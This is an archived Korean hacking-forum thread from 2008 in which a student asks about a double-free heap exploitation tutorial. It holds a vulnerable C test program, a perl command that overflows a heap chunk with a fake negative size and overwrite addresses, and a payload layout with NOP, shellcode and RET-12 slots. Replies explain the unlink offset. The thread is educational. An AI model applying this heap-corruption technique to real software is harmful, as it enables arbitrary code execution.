시스템 해킹

1574,

1/79

seoty

원재아빠님의 DFB강좌중에서. 질문있습니다.

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=943 [복사]

강좌에서.

fake chunk를 만드는 부분이 있습니다.거기서보면.
'free(mol1);이후 mol1의 크기를 음수로 정의 해준다면. 전체 chunk boundry 안에서 mol2의 병합이 이뤄지기 전에 mol2의 chunk가 앞선 mol1의 크기를 음수값으로 인식한다면 우리는 실제 mol1과 mol2의 chunk사이에 임의의 chunk를 만들어 낼 수 있을것이다.'
이렇게 나와있습니다.
음수일때 왜 임의의 chunk가 생성되는지에 대한 설명이 안나와 있내요.
검색을해도 어떻게 찾아야할지몰라서

왜??? 임의의 chunk가 생성되는지도 모르습니다.ㅎㅎ

해쿨회원분들 부탁드립니다.
============
아 한가지더있는데요..

//test2.c
#include <stdio.h>
#include "dumpcode.h"

main(int argc, char *argv[])
{
       char *mol1;
       char *mol2;

       mol1 = malloc(16);
       mol2 = malloc(32);

       if ( argc< 2)
       { fprintf(stderr, "error argsn" );
       exit(0); }

       strcpy( mol1 , argv[1] );

       dumpcode(mol2-28,64);
       free(mol1);
       dumpcode(mol2-28,64);
       free(mol2);
}

$ ./test2 `perl -e 'printf "A"x16 ; printf "xfcxffxffxffxffxffxffxffxa4x9ax04x08xa4x9ax04x08"'`

--->이런 소스가 있는데 말입니다. $ ./test2 `perl -e 'printf "A"x16 ;
이부분에서 리눅스책을 아무리뒤져도;; 이런명령어는 모르겠더군요;; ^^

-->그리구 xfcxffxffxffxffxffxffxffxa4x9ax04x08xa4x9ax04x08이부분은 기계어코드를 넣는건가요?

재가너무많은질문을 한것같내요.^^;;; 부탁드립니다.
그럼..토요일오전부터 삽질중인 한 학생이...ㅋ

Hit : 3797 Date : 2008/11/01 05:09


seoty	설명내용이방대하다면 재가어떤문서를 봐야할지 좀 알려주세요.ㅎㅎ	2008/11/01
초딩해커	하이 횽아? 골치아픈거하네? 걍 편하게 살아..ㅋㅋ 1. 이거 뭔가 이상하지? 나두 공부할때 이상했어 ㅋㅋ 골때리는건 mol1 이후의 4바이트를 꼭 음수로하지 않아두 된다는거야 횽아 나는 \x02\x02\x02\x02로도 성공했어 이거 음수든 양수든간에 짝수이기만하면돼. 힌트가 되었떠? 2. 횽 혹시 휴가나온거야? 말입니다가 뭐야? ㅋㅋ 우선 `` 요건 쉘 명령 실행 결과를 출력해주는거야 `id`라고 때려넣어봐 그리고 쉘 상에선 \xff 같은 요상한 문자를 직접 입력하지 못하기 때문에 perl을 쓴거구 스피커 켜고 perl -e 'printf "\x07"' 이라구 해봐 ㅋㅋ 3. 그건 기계어가 아닌데 횽? 큰 실망인데? 그냥 메모리 주소값이야	2008/11/04
중딩해커	초딩해커...... 너 좀짱이야	2008/11/07
seoty	초딩해커.ㅋ 고마워.ㅋ 많은 도움이되었어.ㅋ 내가 훈련소에서 나온지가 얼마안되서 정신이없나봐.ㅋㅋ 공익이거든.ㅋ 왜초딩이야.나도 88인데.ㅋㅋ 근대. 왜 구지 [ret-12]를 하는거지? 어짜피 거기 주소 오버플로우 해서 값을 정하게 되는거잔아;ㅇㅅㅇ;; 내가 하나만 생각할줄아는걸가?ㅎ [junk1:12byte][jump ahead:2byte][junk2:10byte][NOP][shellcode][junk3][0xfffffffffffffffc][RET-12][*jump]	2008/11/08
초딩해커	ret-12를 하는 이유는 지정된 주소 + 12되는 위치의 4바이트가 바뀌기 때문이야 만약 ret-12 대신 ret의 주소를 넣는다면 엉뚱하게요 ret+12의 값이 바뀌겠지 왜 하필이면 +12의 위치가 바뀌는지는 물어보지마 횽아 그건 free의 raw 코드를 뜯어봐야해	2008/11/10